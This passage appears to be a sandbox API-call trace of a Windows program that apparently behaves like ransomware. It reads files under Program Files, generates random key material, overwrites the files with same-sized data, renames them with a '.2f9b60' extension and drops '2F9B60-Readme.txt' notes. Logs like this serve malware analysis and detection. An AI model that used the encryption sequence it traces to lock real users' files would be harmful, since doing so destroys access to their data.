"c:\\program files (x86)\\common files\\adobe\\helpcfg\\zh_tw\\2f9b60-readme.txt")) returned 0xffffffff [0209.443] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\zh_tw\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x193c [0216.617] WriteFile (in: hFile=0x193c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x307cfc10, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x307cfc10*=0xba9, lpOverlapped=0x0) returned 1 [0220.310] CloseHandle (hObject=0x193c) returned 1 [0223.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c5080) returned 1 [0223.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506310) returned 1 Thread: id = 2536 os_tid = 0x200c [0155.264] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.targets")) returned 0x20 [0155.265] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets", dwFileAttributes=0x20) returned 1 [0155.267] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9a8 [0155.268] GetFileSizeEx (in: hFile=0x9a8, lpFileSize=0x2fb5f7c0 | out: lpFileSize=0x2fb5f7c0*=4726) returned 1 [0155.268] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0x1272, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.268] ReadFile (in: hFile=0x9a8, lpBuffer=0x2fb5f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fb5f788, lpOverlapped=0x0 | out: lpBuffer=0x2fb5f740*, lpNumberOfBytesRead=0x2fb5f788*=0x4, lpOverlapped=0x0) returned 1 [0155.270] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddad00 [0155.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddad90 [0155.271] NtQuerySystemTime (in: CurrentTime=0x2fb5f680 | out: CurrentTime=0x2fb5f680*=132462177604066000) returned 0x0 [0155.271] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x667c240d [0155.271] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x766c4b5b [0155.271] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x2bb00fdd [0155.271] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x1326d65b [0155.271] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x1bf16bf4 [0155.271] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x5eda50d9 [0155.271] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x4fe56632 [0155.271] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x5faf7938 [0155.271] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x70d73f88 [0155.271] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0xd77fd13 [0155.271] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x4479ca6b [0155.271] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x2ceaf1e0 [0155.271] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x64088600 [0155.271] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x78cf6e49 [0155.271] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x39626fc4 [0155.271] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x7971307e [0155.271] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x351da573 [0155.271] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0xd4804c8 [0155.271] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x39ac7f79 [0155.271] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x1d3c450 [0155.271] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x2120e2a9 [0155.271] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x2cc51b6c [0155.272] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x60669458 [0155.272] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x9a344a7 [0155.272] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x43ea5da6 [0155.272] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x66879991 [0155.272] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x4d068890 [0155.272] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x52c8fc79 [0155.272] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x53566bea [0155.272] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x432899d6 [0155.272] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x69bf9dba [0155.272] RtlRandomEx (in: Seed=0x2fb5f670 | out: Seed=0x2fb5f670) returned 0x510ddbf4 [0155.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddadc0 [0155.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23e20 [0155.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddadf0 [0155.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23e20) returned 1 [0155.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddad90) returned 1 [0155.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce185a0 [0155.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23e20 [0155.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42907240 [0155.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4290ae50 [0155.284] ReadFile (in: hFile=0x9a8, lpBuffer=0x42907240, nNumberOfBytesToRead=0x1276, lpNumberOfBytesRead=0x2fb5f670, lpOverlapped=0x0 | out: lpBuffer=0x42907240*, lpNumberOfBytesRead=0x2fb5f670*=0x1276, lpOverlapped=0x0) returned 1 [0155.308] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.308] WriteFile (hFile=0x9a8, lpBuffer=0x4290ae50, nNumberOfBytesToWrite=0x1276, lpNumberOfBytesWritten=0x2fb5f674, lpOverlapped=0x0) [0186.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8fc0 [0186.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8ff0 [0186.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8ff0) returned 1 [0186.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4290ae50) returned 1 [0186.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42907240) returned 1 [0186.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23e20) returned 1 [0186.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce185a0) returned 1 [0186.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7d8340 [0186.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce185a0 [0186.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23e20 [0186.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8ff0 [0186.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8ff0) returned 1 [0186.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1ce5c970 [0186.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8ff0 [0186.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9020 [0186.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9020) returned 1 [0186.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23e20) returned 1 [0186.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce185a0) returned 1 [0186.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x112) returned 0x423aa9b0 [0186.267] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.267] WriteFile (in: hFile=0x9a8, lpBuffer=0x423aa9b0*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2fb5f790, lpOverlapped=0x0 | out: lpBuffer=0x423aa9b0*, lpNumberOfBytesWritten=0x2fb5f790*=0x112, lpOverlapped=0x0) returned 1 [0207.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0207.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2db0 [0207.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2db0) returned 1 [0207.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2db0 [0207.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2d80 [0207.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2c90 [0207.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2c90) returned 1 [0207.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0207.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1b82c260 [0207.102] sprintf (in: _Dest=0x1b82c260, _Format="%c%c" | out: _Dest="ae") returned 2 [0207.102] sprintf (in: _Dest=0x1b82c262, _Format="%c%c" | out: _Dest="d9") returned 2 [0207.102] sprintf (in: _Dest=0x1b82c264, _Format="%c%c" | out: _Dest="8c") returned 2 [0207.102] sprintf (in: _Dest=0x1b82c266, _Format="%c%c" | out: _Dest="d5") returned 2 [0207.102] sprintf (in: _Dest=0x1b82c268, _Format="%c%c" | out: _Dest="03") returned 2 [0207.102] sprintf (in: _Dest=0x1b82c26a, _Format="%c%c" | out: _Dest="fa") returned 2 [0207.102] sprintf (in: _Dest=0x1b82c26c, _Format="%c%c" | out: _Dest="28") returned 2 [0207.102] sprintf (in: _Dest=0x1b82c26e, _Format="%c%c" | out: _Dest="4a") returned 2 [0207.102] sprintf (in: _Dest=0x1b82c270, _Format="%c%c" | out: _Dest="04") returned 2 [0207.102] sprintf (in: _Dest=0x1b82c272, _Format="%c%c" | out: _Dest="e4") returned 2 [0207.102] sprintf (in: _Dest=0x1b82c274, _Format="%c%c" | out: _Dest="19") returned 2 [0207.102] sprintf (in: _Dest=0x1b82c276, _Format="%c%c" | out: _Dest="30") returned 2 [0207.102] sprintf (in: _Dest=0x1b82c278, _Format="%c%c" | out: _Dest="ab") returned 2 [0207.102] sprintf (in: _Dest=0x1b82c27a, _Format="%c%c" | out: _Dest="6e") returned 2 [0207.102] sprintf (in: _Dest=0x1b82c27c, _Format="%c%c" | out: _Dest="2b") returned 2 [0207.102] sprintf (in: _Dest=0x1b82c27e, _Format="%c%c" | out: _Dest="a6") returned 2 [0207.102] sprintf (in: _Dest=0x1b82c280, _Format="%c%c" | out: _Dest="10") returned 2 [0207.102] sprintf (in: _Dest=0x1b82c282, _Format="%c%c" | out: _Dest="0e") returned 2 [0207.102] sprintf (in: _Dest=0x1b82c284, _Format="%c%c" | out: _Dest="28") returned 2 [0207.102] sprintf (in: _Dest=0x1b82c286, _Format="%c%c" | out: _Dest="74") returned 2 [0207.102] sprintf (in: _Dest=0x1b82c288, _Format="%c%c" | out: _Dest="18") returned 2 [0207.102] sprintf (in: _Dest=0x1b82c28a, _Format="%c%c" | out: _Dest="99") returned 2 [0207.102] sprintf (in: _Dest=0x1b82c28c, _Format="%c%c" | out: _Dest="bc") returned 2 [0207.103] sprintf (in: _Dest=0x1b82c28e, _Format="%c%c" | out: _Dest="14") returned 2 [0207.103] sprintf (in: _Dest=0x1b82c290, _Format="%c%c" | out: _Dest="c4") returned 2 [0207.103] sprintf (in: _Dest=0x1b82c292, _Format="%c%c" | out: _Dest="aa") returned 2 [0207.103] sprintf (in: _Dest=0x1b82c294, _Format="%c%c" | out: _Dest="89") returned 2 [0207.103] sprintf (in: _Dest=0x1b82c296, _Format="%c%c" | out: _Dest="32") returned 2 [0207.103] sprintf (in: _Dest=0x1b82c298, _Format="%c%c" | out: _Dest="6d") returned 2 [0207.103] sprintf (in: _Dest=0x1b82c29a, _Format="%c%c" | out: _Dest="09") returned 2 [0207.103] sprintf (in: _Dest=0x1b82c29c, _Format="%c%c" | out: _Dest="f7") returned 2 [0207.103] sprintf (in: _Dest=0x1b82c29e, _Format="%c%c" | out: _Dest="58") returned 2 [0207.103] RtlInitAnsiString (in: DestinationString=0x2fb5f808, SourceString="aed98cd503fa284a04e41930ab6e2ba6100e28741899bc14c4aa89326d09f758" | out: DestinationString="aed98cd503fa284a04e41930ab6e2ba6100e28741899bc14c4aa89326d09f758") [0207.103] RtlAnsiStringToUnicodeString (in: DestinationString=0x2fb5f7d8, SourceString="aed98cd503fa284a04e41930ab6e2ba6100e28741899bc14c4aa89326d09f758", AllocateDestinationString=1 | out: DestinationString="aed98cd503fa284a04e41930ab6e2ba6100e28741899bc14c4aa89326d09f758") returned 0x0 [0207.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x43155fe0 [0207.103] wcscat (in: _Dest=0x4310c600, _Source="aed98cd503fa284a" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\aed98cd503fa284a") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\aed98cd503fa284a" [0207.103] wcscat (in: _Dest=0x4310c600, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\aed98cd503fa284a.2f9b60") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\aed98cd503fa284a.2f9b60" [0207.103] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\aed98cd503fa284a.2f9b60", NtPathName=0x2fb5f7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\aed98cd503fa284a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x1ceb5030 [0216.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb5030) returned 1 [0216.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c10230) returned 1 [0216.746] NtQueryInformationFile (in: FileHandle=0x9a8, IoStatusBlock=0x2fb5f818, FileInformation=0x2fb5f828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2fb5f818, FileInformation=0x2fb5f828) returned 0x0 [0216.746] NtSetInformationFile (FileHandle=0x9a8, IoStatusBlock=0x2fb5f818, FileInformation=0x2fb5f828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0222.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310c600) returned 1 [0222.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43155fe0) returned 1 [0222.119] FlushFileBuffers (hFile=0x9a8) returned 1 [0222.590] CloseHandle (hObject=0x9a8) returned 1 [0223.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x431131b0 [0223.095] wcscpy (in: _Dest=0x431131b0, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" [0223.095] wcscat (in: _Dest=0x431131b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\2F9B60-Readme.txt" [0223.095] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\2f9b60-readme.txt")) returned 0x20 [0223.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431131b0) returned 1 [0223.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107a80) returned 1 Thread: id = 2537 os_tid = 0x2010 [0155.285] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.visualbasic.targets")) returned 0x20 [0155.286] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets", dwFileAttributes=0x20) returned 1 [0155.287] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.visualbasic.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x80c [0155.288] GetFileSizeEx (in: hFile=0x80c, lpFileSize=0x30a3f840 | out: lpFileSize=0x30a3f840*=5182) returned 1 [0155.288] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x143a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.288] ReadFile (in: hFile=0x80c, lpBuffer=0x30a3f7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x30a3f808, lpOverlapped=0x0 | out: lpBuffer=0x30a3f7c0*, lpNumberOfBytesRead=0x30a3f808*=0x4, lpOverlapped=0x0) returned 1 [0155.293] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddad90 [0155.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddae20 [0155.294] NtQuerySystemTime (in: CurrentTime=0x30a3f700 | out: CurrentTime=0x30a3f700*=132462177604222000) returned 0x0 [0155.294] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x289a1499 [0155.294] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x6abe6fe9 [0155.294] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x3d274f58 [0155.294] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x662ee24b [0155.294] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x3a7605e9 [0155.294] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x2744ed5b [0155.294] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x3effaabf [0155.294] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0xe22fa90 [0155.294] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x3ea63309 [0155.294] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x1dd2f63e [0155.294] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x1de0f36a [0155.294] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x2cccbb3d [0155.294] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x54576d2e [0155.294] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x18017a4f [0155.294] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x47a4a677 [0155.295] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x2dde3f36 [0155.295] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x2c62b34d [0155.295] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x5ef5893f [0155.295] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x73a5c1b6 [0155.295] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x7e9c2152 [0155.295] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x4b0a1f24 [0155.295] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x5fa26633 [0155.295] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x32dbf997 [0155.295] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x3d9a3104 [0155.295] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x5d8ca512 [0155.295] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x54197644 [0155.295] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x5505151e [0155.295] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x465f8df1 [0155.295] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x58b11f26 [0155.295] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x727d38fc [0155.295] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x6a414440 [0155.295] RtlRandomEx (in: Seed=0x30a3f6f0 | out: Seed=0x30a3f6f0) returned 0x6f834d65 [0155.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddae50 [0155.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23f20 [0155.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddae80 [0155.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23f20) returned 1 [0155.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddae20) returned 1 [0155.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce185f0 [0155.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23f20 [0155.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4290ea60 [0155.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42912670 [0155.307] ReadFile (in: hFile=0x80c, lpBuffer=0x4290ea60, nNumberOfBytesToRead=0x143e, lpNumberOfBytesRead=0x30a3f6f0, lpOverlapped=0x0 | out: lpBuffer=0x4290ea60*, lpNumberOfBytesRead=0x30a3f6f0*=0x143e, lpOverlapped=0x0) returned 1 [0155.489] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.490] WriteFile (in: hFile=0x80c, lpBuffer=0x42912670*, nNumberOfBytesToWrite=0x143e, lpNumberOfBytesWritten=0x30a3f6f4, lpOverlapped=0x0 | out: lpBuffer=0x42912670*, lpNumberOfBytesWritten=0x30a3f6f4*=0x143e, lpOverlapped=0x0) returned 1 [0162.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c190b0 [0162.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c190e0 [0162.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c190e0) returned 1 [0162.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42912670) returned 1 [0162.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4290ea60) returned 1 [0162.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23f20) returned 1 [0162.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce185f0) returned 1 [0162.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1ce185f0 [0162.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18640 [0162.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, 